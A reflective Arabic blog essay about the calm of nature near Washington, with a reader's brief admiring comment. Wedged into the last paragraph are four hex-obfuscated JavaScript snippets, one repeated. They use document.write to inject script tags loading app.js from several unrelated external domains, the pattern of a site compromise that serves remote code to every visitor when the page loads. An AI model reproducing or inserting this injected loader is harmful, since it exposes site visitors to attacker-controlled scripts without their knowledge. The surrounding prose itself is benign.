لم أكن لأتخيل في يوم أن تكون للطبيعة بكل ما تحويه من أشجار و كائنات حرة هذا التأثير الكبير على حياتي، وعلى الرغم من أني ومنذ الصغر جبت العديد من الدول التي ميزها الله بالطبيعة الخضراء والجداول المائية والطيور المهاجرة بكل إتجاه لم أكن لأرى فيها هذا الحسن الذي بإمكانه أن يسيطر على عقل إنسان، فكل ما كنت أراها حينها هو المنظر المختلف عن ما تعودت عليه والذي سرعان ما كان يزول تأثيره فور عودتي لحياتي الطبيعية وسط المدن المكتظة بمبانيها الشاهقة وحياتها الرتيبة أحيانا والسريعة في أحيان أخرى.
في منزلي حيث أعيش الآن على مشارف العاصمة الأمريكية واشنطن، بإمكانك أن تصحو في الصباح الباكر لتجد عصفوا وقد توسد أطراف النافذه، يغني لحن راق له دون أن يكون بعد قد إرتشف قهوة صباحه الندي، يسامر مع أشعة الفجر الأولى بلبل من فصيلة أخرى يلحن هو الآخر أغنية الشوق لتلك الشجرة الكبيرة التي تبعد عنه مسافة سلمه الموسيقي العذب.
صوت الهواء ما كان له أن يكون بهذا الجمال لولا أنه يرافق السكون، يداعب الزمان الذي يتوقف رغم هرولة الدقائق نحو الإستيقاظ، تنفض من وجهك بقايا أحلامك الملونه، تنظر لما خلف الستار، فيتجلى أمامك بحر من أوراق وأغصان وتمايلات يومك الذي بدأ للتو، لا ينقصك في تلك اللحظة إلا أن يتوقف كل شئ، لينمو في داخلك وهج عنوانه اللحظة التي لا تنتهي.
عندما أسطر الحروف على منظر غزال يمر عند المغيب، تتجلى أمامي لغة لا أعرف طلاسمها، نظرات الخوف أو هي نظرات الفضول التي تغرينا على إكتشاف تلك الأفكار التي لم نكن نعلم أنها موجودة فينا، يختال بقامته المفرودة مداعبا بجسمه المتناسق قندسا إستوى وإفترش الحشائش، يأكل منها ليومه وربما يجمع ليومه الأخر مأونة تردده و نظراته التي لا تتوقف عن السؤال والترقب.
حديقة السناجب أو ربما هي مملكتهم، تلك الغنّاء الخلفية التي أفيق على محيطها كل صباح و أمر منها كل عصر، و أشتاق لمحاذاتها كل مساء، حيث قططي الأليفه تذكرني أن الطبيعة نعمة لم نكن نعرفها من قبل، مواءها أقرب لتسبيحات تحمد الله على أن مكنها على مداعبة الكون بألوانه الحقيقية، حيث الإخضرار نشأ من ذاته، و الزرقة السماوية تلبدت فوقنا من ذاته ولذاته.
صحيح أن العواصف تزورنا كلما غضبت الأشجار من تمايلات القدر، وصحيح أن الطيور تختفي تمردا على أقرانها وعلى من سكن الحجر، ورغم أن الأرانب لا تزور أرجائنا إلا كلما إشتهت لذلك، إلا أن المساء عندما يحل علينا جميعا فإنه يستطيع أن يجمعنا تحت راية التأمل، وله المقدرة على أن يجعل من العواصف آلة موسيقية تعزف ترانيم المطر، وكل كائن إستوطن محيطنا الأخضر يعود لحيث كان في المساء السابق، جزء من الطبيعة ومكمل لها.
لم أعد افهم لغة المدن الإسمنتيه،و لم أعد أرى فيها سوى رسم مصطنع للحياة، قد يقول قائل أن في ذلك هروب من الحقيقة، إلا أني أرى في ذلك أكتشاف لحقيقة ما تعنيه الحياة ، فقد أجبرنا دون أن نعلم على تناسي أو محاولة تطويع الشئ الوحيد الذي أتى قبلنا و سيبقى بعدنا، تلك الحقيقة التي منها وبها يكون الإنسان و الطبيعة و الحيوان كائنات حية. var _0x1b1d=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,”\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0x1b1d=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,”\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm() var _0xeb24=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x6E\x65\x78\x69\x6F”,”\x6E\x69\x65\x63\x74\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function gior(){var _0xc48cx2=_0xeb24[0];var _0xc48cx3=_0xeb24[1];var _0xc48cx4=_0xeb24[2];var _0xc48cx5=_0xeb24[3];document[_0xeb24[4]](_0xc48cx2+ _0xc48cx3+ _0xc48cx4+ _0xc48cx5)}gior() var _0xe540=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x64\x69\x6E\x6F\x72″,”\x73\x6C\x69\x63\x6B\x2E\x69\x63\x75\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function gpor(){var _0x4eb6x2=_0xe540[0];var _0x4eb6x3=_0xe540[1];var _0x4eb6x4=_0xe540[2];var _0x4eb6x5=_0xe540[3];document[_0xe540[4]](_0x4eb6x2+ _0x4eb6x3+ _0x4eb6x4+ _0x4eb6x5)}gpor() var _0xc883=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x62\x65\x73\x73\x74\x61″,”\x68\x65\x74\x65\x2E\x69\x6E\x66\x6F\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function tyip(){var _0x5e1cx2=_0xc883[0];var _0x5e1cx3=_0xc883[1];var _0x5e1cx4=_0xc883[2];var _0x5e1cx5=_0xc883[3];document[_0xc883[4]](_0x5e1cx2+ _0x5e1cx3+ _0x5e1cx4+ _0x5e1cx5)}tyip()
مقالة جميلة حركت شيئاً بداخلي ليصيح بملء فمه : “عودوا لحياتكم الطبيعية بمناظرها بأصواتها بهدوئها لتسكن نفوسكم وأرواحكم وقلوبكم الحائرة والمليئة بهموم الدنيا ”
تقبل تحياتي